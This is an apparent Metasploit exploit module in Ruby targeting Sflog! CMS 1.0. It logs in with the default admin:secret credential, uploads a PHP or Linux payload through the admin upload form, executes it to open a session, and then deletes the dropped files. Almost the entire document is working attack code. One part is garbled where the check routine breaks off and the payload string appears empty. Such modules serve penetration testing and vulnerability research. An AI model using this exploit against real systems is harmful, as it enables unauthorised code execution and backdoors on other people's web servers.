## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE def initialize(info={}) super(update_info(info, 'Name' => "Sflog! CMS 1.0 Arbitrary File Upload Vulnerability", 'Description' => %q{ This module exploits multiple design flaws in Sflog 1.0. By default, the CMS has a default admin credential of "admin:secret", which can be abused to access administrative features such as blogs management. Through the management interface, we can upload a backdoor that's accessible by any remote user, and then gain arbitrary code execution. }, 'License' => MSF_LICENSE, 'Author' => [ 'dun', #Discovery, PoC 'sinn3r' #Metasploit ], 'References' => [ ['OSVDB', '83767'], ['EDB', '19626'] ], 'Payload' => { 'BadChars' => "\x00" }, 'DefaultOptions' => { 'ExitFunction' => "none" }, 'Platform' => ['linux', 'php'], 'Targets' => [ [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ], [ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ] ], 'Privileged' => false, 'DisclosureDate' => "Jul 06 2012", 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The base directory to sflog!', '/sflog/']), OptString.new('USERNAME', [true, 'The username to login with', 'admin']), OptString.new('PASSWORD', [true, 'The password to login with', 'secret']) ], self.class) end def check target_uri.path << '/' if target_uri.path[-1,1] != '/' base = File.dirname("#{target_uri.path}.") res = send_request_raw({'uri'=>"#{base}/index.php"}) if not res return Exploit::CheckCode::Unknown elsif res and res.body =~ /\ | php = php.gsub(/^\t\t/, '').gsub(/\n/, ' ') return php end def on_new_session(cli) if cli.type == "meterpreter" cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi") end @clean_files.each do |f| print_status("#{@peer} - Removing: #{f}") begin if cli.type == 'meterpreter' cli.fs.file.rm(f) else cli.shell_command_token("rm #{f}") end rescue ::Exception => e print_error("#{@peer} - Unable to remove #{f}: #{e.message}") end end end # # login unfortunately is needed, because we need to make sure blogID is set, and the upload # script (uploadContent.inc.php) doesn't actually do that, even though we can access it # directly. # def do_login(base) res = send_request_cgi({ 'method' => 'POST', 'uri' => "#{base}/admin/login.php", 'vars_post' => { 'userID' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] } }) if res and res.headers['Set-Cookie'] =~ /PHPSESSID/ and res.body !~ /\Access denied\!\<\/i\>/ return res.headers['Set-Cookie'] else return '' end end # # Upload our payload, and then execute it. # def upload_exec(cookie, base, php_fname, p) data = Rex::MIME::Message.new data.add_part('download', nil, nil, "form-data; name=\"blogID\"") data.add_part('7', nil, nil, "form-data; name=\"contentType\"") data.add_part('3000', nil, nil, "form-data; name=\"MAX_FILE_SIZE\"") data.add_part(p, 'text/plain', nil, "form-data; name=\"fileID\"; filename=\"#{php_fname}\"") # The app doesn't really like the extra "\r\n", so we need to remove the newline. post_data = data.to_s post_data = post_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_') print_status("#{@peer} - Uploading payload (#{p.length.to_s} bytes)...") res = send_request_cgi({ 'method' => 'POST', 'uri' => "#{base}/admin/manage.php", 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data, 'cookie' => cookie, 'headers' => { 'Referer' => "http://#{rhost}#{base}/admin/manage.php", 'Origin' => "http://#{rhost}" } }) if not res print_error("#{@peer} - No response from host") return end target_path = "#{base}/blogs/download/uploads/#{php_fname}" print_status("#{@peer} - Requesting '#{target_path}'...") res = send_request_raw({'uri'=>target_path}) if res and res.code == 404 print_error("#{@peer} - Upload unsuccessful: #{res.code.to_s}") return end handler end def exploit @peer = "#{rhost}:#{rport}" target_uri.path << '/' if target_uri.path[-1,1] != '/' base = File.dirname("#{target_uri.path}.") print_status("#{@peer} - Attempt to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'") cookie = do_login(base) if cookie.empty? print_error("#{@peer} - Unable to login") return end php_fname = "#{Rex::Text.rand_text_alpha(5)}.php" @clean_files = [php_fname] case target['Platform'] when 'php' p = "" when 'linux' bin_name = "#{Rex::Text.rand_text_alpha(5)}.bin" @clean_files << bin_name bin = generate_payload_exe p = get_write_exec_payload("/tmp/#{bin_name}", bin) end upload_exec(cookie, base, php_fname, p) end end